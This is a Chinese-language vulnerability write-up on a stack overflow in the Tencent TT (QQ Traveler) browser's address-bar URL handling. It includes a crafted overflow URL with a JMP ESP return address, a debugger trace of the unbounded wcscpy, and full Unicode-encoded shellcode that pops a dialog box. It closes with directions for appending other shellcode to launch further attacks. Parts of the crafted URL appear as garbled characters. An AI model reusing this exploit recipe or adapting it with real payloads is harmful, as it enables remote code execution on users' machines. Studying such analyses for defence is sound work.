QQ Traveler漏洞分析与利用(0day)
信息来源:安全警戒线
漏洞概述
腾讯TT(QQ Traveler)是一款多页面浏览器,具有亲切、友好的用户界面,提供多种皮肤供用户根据个人喜好使用,另外TT更是新增了多项人性化的特色功能,使上网冲浪变的更加轻松自如、省时省力。智能屏蔽一键开通, 最近浏览一键找回,多页面一键打开,浏览记录一键清除,多种皮肤随心变换,多线程高速旋风下载。
腾讯TT在处理地址栏输入的URL时,存在栈溢出漏洞。虽然其处理过程中对URL进行了Unicode编码,但是经过精心的构造,还是可以构造出可见的 Unicode字符串,来控制EIP指令寄存器,并构造支持Unicode的shellcode。这一点已经得到我们的证实!
漏洞分析
构造的URL如下:
http://aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeefffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffggggggggggggggggggggggggggg … hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh 蠀緑橨?栞襣俑?酴謌跴??? ?社桓獵牥?擒媋謰??謜謉???????悕?謼??词??S譇??????????吻? 妋?曝?譻???閻?慗樽?甞?叛睨獥桴慦汩?偓卐埿叼埿
――――――――――――――――――――――――――――――――
其中蠀緑是7DD1 8800这个十六进制的unicode码,这个地址指向Window XP的shell32.dll中的某个JMP ESP指令的地址;
剩下的蓝色部分是一段支持unicode的shellcode,这段shellcode是failwest大侠所作,可以自动加载user32.dll动态链接库,并弹出对话框,显示“failwest”。
因此,如果把上面的url填入腾讯TT的地址栏,并执行了shellcode,即弹出了对话框,那么就可以说明这个漏洞的存在,下面是实验结果的截图:
因此可以证明这个漏洞的存在,下面我们用ollyDBG来跟踪分析一下:
0053AE1D |. 8B35 30825600 MOV ESI,DWORD PTR DS:[] ; msvcrt.wcslen
0053AE23 |. 55 PUSH EBP ; /s 指向URL的堆地址
0053AE24 |. FFD6 CALL ESI ; \wcslen 进行长度URL的计算
0053AE26 |. 83C4 04 ADD ESP,4
0053AE29 |. 85C0 TEST EAX,EAX ;EAX此时是URL的长度
0053AE2B |. 0F84 3B010000 JE TTravele.0053AF6C ;如果URL的长度为0,则退出
0053AE31 |. 68 D0CA5A00 PUSH TTravele.005ACAD0 ; /wstr2 = "about:blank"
0053AE36 |. 55 PUSH EBP ; |wstr1
0053AE37 |. FF15 38825600 CALL DWORD PTR DS:[] ; \_wcsicmp 让URL与"about:blank"比较
0053AE3D |. 83C4 08 ADD ESP,8
0053AE40 |. 85C0 TEST EAX,EAX ;如果URL和"about:blank"相同
0053AE42 |. 0F84 24010000 JE TTravele.0053AF6C ;就退出
0053AE48 |. A1 E4125C00 MOV EAX,DWORD PTR DS:[5C12E4]
0053AE4D |. 33DB XOR EBX,EBX
0053AE4F |. 85C0 TEST EAX,EAX
0053AE51 |. 76 32 JBE SHORT TTravele.0053AE85 ;跳0053AE85
0053AE53 |. BF 00705B00 MOV EDI,TTravele.005B7000
0053AE58 |> 55 /PUSH EBP ; /wstr2
0053AE59 |. 57 |PUSH EDI ; |wstr1
0053AE5A |. FF15 38825600 |CALL DWORD PTR DS:[] ; \_wcsicmp
0053AE60 |. 83C4 08 |ADD ESP,8
0053AE63 |. 85C0 |TEST EAX,EAX
0053AE65 |. 74 12 |JE SHORT TTravele.0053AE79
0053AE67 |. A1 E4125C00 |MOV EAX,DWORD PTR DS:[5C12E4]
0053AE6C |. 43 |INC EBX
0053AE6D |. 81C7 4A100000 |ADD EDI,104A
0053AE73 |. 3BD8 |CMP EBX,EAX
0053AE75 |.^72 E1 \JB SHORT TTravele.0053AE58
0053AE77 |. EB 0C JMP SHORT TTravele.0053AE85
0053AE79 |> 3B1D E4125C00 CMP EBX,DWORD PTR DS:[5C12E4]
0053AE7F |. 0F82 E7000000 JB TTravele.0053AF6C
0053AE85 |> 8B1D 2C825600 MOV EBX,DWORD PTR DS:[] ; msvcrt.wcscpy
0053AE8B |. 8D4424 10 LEA EAX,DWORD PTR SS:[ESP+10]
0053AE8F |. 55 PUSH EBP ; /src指向URL的堆地址
0053AE90 |. 50 PUSH EAX ; |dest指向栈帧中的一个栈地址
0053AE91 |. FFD3 CALL EBX ; \wcscpy 复制URL到栈中
0053AE93 |. 8D4C24 18 LEA ECX,DWORD PTR SS:[ESP+18]
0053AE97 |. 51 PUSH ECX
0053AE98 |. FFD6 CALL ESI
通过上面的分析,可以看出程序仅判断了地址栏输入的URL的长度是否为0,但是没有对URL长度的上限进行判断。这是导致最后栈溢出的根本原因!
那么我们只要算好地址,正好淹没了函数的返回地址即可,并在返回地址后紧跟着我们编制好的支持unicode的shellcode,也就是说我们玩的是JMP ESP这种经典的栈溢出跳shellcode的方法!
漏洞利用
作为演示,这里仅利用这个漏洞来弹出一个对话框,shellcode作者是failwest。
"\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C\x8B"
"\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53\x68"
"\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B\x49"
"\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95\xFF"
"\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59\x20"
"\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A\xC4"
"\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75\xE4"
"\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03\x2C"
"\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB\x53"
"\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50\x53"
"\xFF\x57\xFC\x53\xFF\x57\xF8";
写成unicode的形式如下:(每两个字节进行首字节与尾字节颠倒即可)
%u6A68%u380A%u681E%u8963%u4FD1%u3268%u9174%u8B0C%u8DF4%uF47E%uDB33%u04B7%uE32B%uBB66%u3233%u6853%u7375%u7265%u3354%u64D2%u5A8B%u8B30%u0C4B%u498B%u8B1C%u8B09%u0869%u3DAD%u0A6A%u1E38%u0575%uFF95%uF857%u6095%u458B%u8B3C%u054C%u0378%u8BCD%u2059%uDD03%uFF33%u8B47%uBB34%uF503%u0F99%u06BE%uC43A%u0874%uCAC1%u0307%u46D0%uF1EB%u543B%u1C24%uE475%u598B%u0324%u66DD%u3C8B%u8B7B%u1C59%uDD03%u2C03%u95BB%uAB5F%u6157%u6A3D%u380A%u751E%u33A9%u53DB%u7768%u7365%u6874%u6166%u6C69%uC48B%u5053%u5350%u57FF%u53FC%u57FF
从shellcode到unicode的转换,我已经写好了工具,运行一下那个程序,就可以把同目录下的sc.txt(不含“\x”的shellcode字符文件)转换成unicode的形式,生成unicode.txt文件!
如要进行其他攻击,请先写好支持Unicode的shellcode,然后用我的工具,转换成unicode形式,并把unicode形式的 shellcode追加到上面的URL中蠀緑后即可。具体支持unicode 的shellcode的编写,请参考以下链接:
Unicode编码表:
http://www.wiki.cn/wiki/Unicode%E7%BC%96%E7%A0%81%E8%A1%A8/0000-0FFF
Unicode shellcode:
http://arhiva.elitesecurity.org/t80431-Unicode-shellcode
《Creating Arbitrary Shellcode In Unicode Expanded Strings》
http://www.nextgenss.com/papers/unicodebo.pdf